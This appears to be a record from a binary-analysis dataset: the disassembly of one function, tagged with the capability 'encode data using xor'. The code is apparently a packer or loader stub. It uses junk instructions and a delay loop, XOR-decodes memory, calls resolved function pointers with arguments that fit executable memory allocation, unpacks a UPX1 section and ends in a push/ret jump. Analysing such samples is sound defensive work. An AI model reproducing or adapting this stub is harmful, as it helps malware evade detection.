Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xef095dcf
not ecx
inc ecx
popal
sub ebx, 0x23675f6a
inc ebx
mov ebx, 0
mov ecx, eax
not esi
add esi, 0xb7a3125f
mov edx, ecx
not edi
mov esi, 0x4f99358a
mov esi, 0x8ae4adb6
mov eax, edx
mov esi, edi
and edi, edi
inc ebx
add esi, 0x15c23ba2
or edi, edi
cmp ebx, 0x100b37d
jne 0xa789c2
or esi, edi
and esi, esi
mov esi, 0xbf141623
mov ecx, 0xdaab226
add ecx, 0x8f6838e9
mov eax, 0xa78796
mov edx, edi
mov edi, edx
mov ecx, 0xa7898a
not edi
or edi, edi
mov esi, dword [eax]
mov edx, 0x4f2671f4
dec edi
sub edx, 1
and esi, 0xff
and edx, edx
and ebx, edx
sub ebx, 0x2b5604b9
xor dword [ecx], esi
add edi, edx
sub edx, 0xde43075d
inc ecx
inc ebx
inc edx
inc eax
add edx, edi
mov ebx, edx
cmp ecx, entry0
jl 0xa78a1b
mov edi, ebx
add edx, 0x9141fe2e
and edx, ebx
mov edi, edx
add ebx, edi
sub edi, 0xea1f0a52
not edi
or edi, edx
dec esi
mov ecx, 0xa7898e
mov ebx, 0xd4f9e317
or edx, edi
mov ecx, dword [ecx]
mov esi, edx
mov ebx, edi
inc edi
mov ecx, dword [ecx]
not ebx
not edi
push ecx
add esi, 0x16386bc9
dec edi
mov ecx, 0xa7898a
mov edi, 0x6e928fc
and esi, edx
mov ecx, dword [ecx]
inc edi
add edi, esi
mov ecx, dword [ecx]
add edi, 0x2ac9bff4
sub ebx, 0x57717638
push 0xa78992
sub edx, 0x64569b26
add ebx, 0x45ed60c0
dec edx
call ecx
add esi, 0xe8a8aabd
add ebx, 0x1dafe7d5
dec edx
mov ecx, dword [esp]
add esp, 4
dec ebx
dec esi
not edx
push 0xa7899f
add ebx, esi
add esi, edi
push eax
dec ebx
and edx, esi
call ecx
add ebx, 0x5c1bf596
mov edx, ebx
sub esp, 4
mov dword [esp], 0x40
not ebx
sub ebx, edi
mov esi, 0xbff9b344
sub esp, 4
mov dword [esp], 0x3000
and esi, edx
mov edi, 0x9c985a9a
push 0x20000647
inc edx
sub edi, 1
inc ebx
sub esp, 4
mov dword [esp], 0
sub edx, 0x266bec3e
not edx
inc edx
call eax
sub esi, ebx
add ebx, 0x2d9d1ea7
inc ebx
add eax, 0x200005ba
or esi, edi
or ebx, esi
not esi
mov ecx, 0x8a0ce02
add edx, 1
sub esi, edi
mov dword [eax], ecx
sub ebx, 0x48adfa12
sub edi, 0x215715cd
mov ecx, dword [eax]
mov esi, edx
or ebx, ebx
not ebx
cmp ecx, 0x8a0ce02
je 0xa78b7f
mov eax, 0
mov byte [eax], bl
inc ebx
dec ebx
mov esi, ebx
dec edi
inc esi
not ebx
sub ebx, 0xad561aca
and ebx, ebx
mov edi, section.UPX1
add ebx, ecx
inc ebx
add ecx, ebx
mov esi, 0xa78795
sub ebx, 0x6cb2aa8
or ecx, ebx
mov eax, 0
add ecx, ecx
sub ebx, ecx
sub ebx, 1
mov edx, 0xa78796
mov ecx, ebx
sub ecx, ebx
lea edx, [edx + eax]
add ebx, ecx
and ecx, ecx
mov edx, dword [edx]
sub ebx, 0x14f9352e
add ecx, 0x5a11438
not ebx
and edx, 0xff
add ecx, 0x773a142d
and ecx, ecx
inc eax
mov ecx, 0xf8ad2550
mov ebx, 0xca94836
mov ecx, ebx
cmp eax, 0x1f4
jne 0xa78bfd
mov eax, 0
mov ecx, 0x8528abc7
sub ebx, ecx
and ecx, ebx
sub ebx, 0x529c552
sub ebx, 0x1fd56e89
xor dword [edi], edx
mov ecx, 0x8b7334e8
and ebx, ebx
sub ebx, ecx
add edi, 2
sub ecx, 0xe85bc8e0
and ecx, ecx
add ecx, 0x4814280c
cmp edi, esi
jl 0xa78bb5
mov ecx, 0x258a48b0
inc ebx
sub ecx, 0x2242107d
add ebx, 1
mov ebx, ecx
mov edx, section.UPX1
sub eax, edi
and edi, eax
mov ebx, section.UPX1
mov edi, eax
mov eax, edi
mov esi, 0xa78795
sub edi, 0xb485f35
mov edi, 0xdfb700d0
add edi, 0xcfd16bfb
mov ecx, 0
sub edi, 0x19ba9e41
sub eax, 1
mov edi, eax
mov cl, byte [ebx]
sub eax, 0xedba1b74
add edi, 0xde34ccc0
mov byte [edx], cl
sub edi, eax
or edi, edi
inc edx
add edi, edi
sub edi, 0x6feba3b4
add ebx, 2
sub eax, edi
not eax
cmp ebx, esi
jle 0xa78c88
dec eax
mov eax, edi
inc ebx
not ebx
push 0x8dc6a0
sub ecx, 0xb1fe80f1
dec ecx
ret